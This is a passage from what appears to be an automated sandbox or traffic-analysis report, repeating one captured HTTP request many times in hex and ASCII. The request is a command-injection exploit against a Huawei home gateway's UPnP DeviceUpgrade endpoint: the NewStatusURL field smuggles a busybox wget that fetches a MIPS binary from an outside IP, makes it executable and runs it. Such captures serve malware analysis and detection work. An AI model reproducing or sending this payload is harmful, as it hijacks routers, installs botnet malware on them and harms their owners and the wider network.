6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary 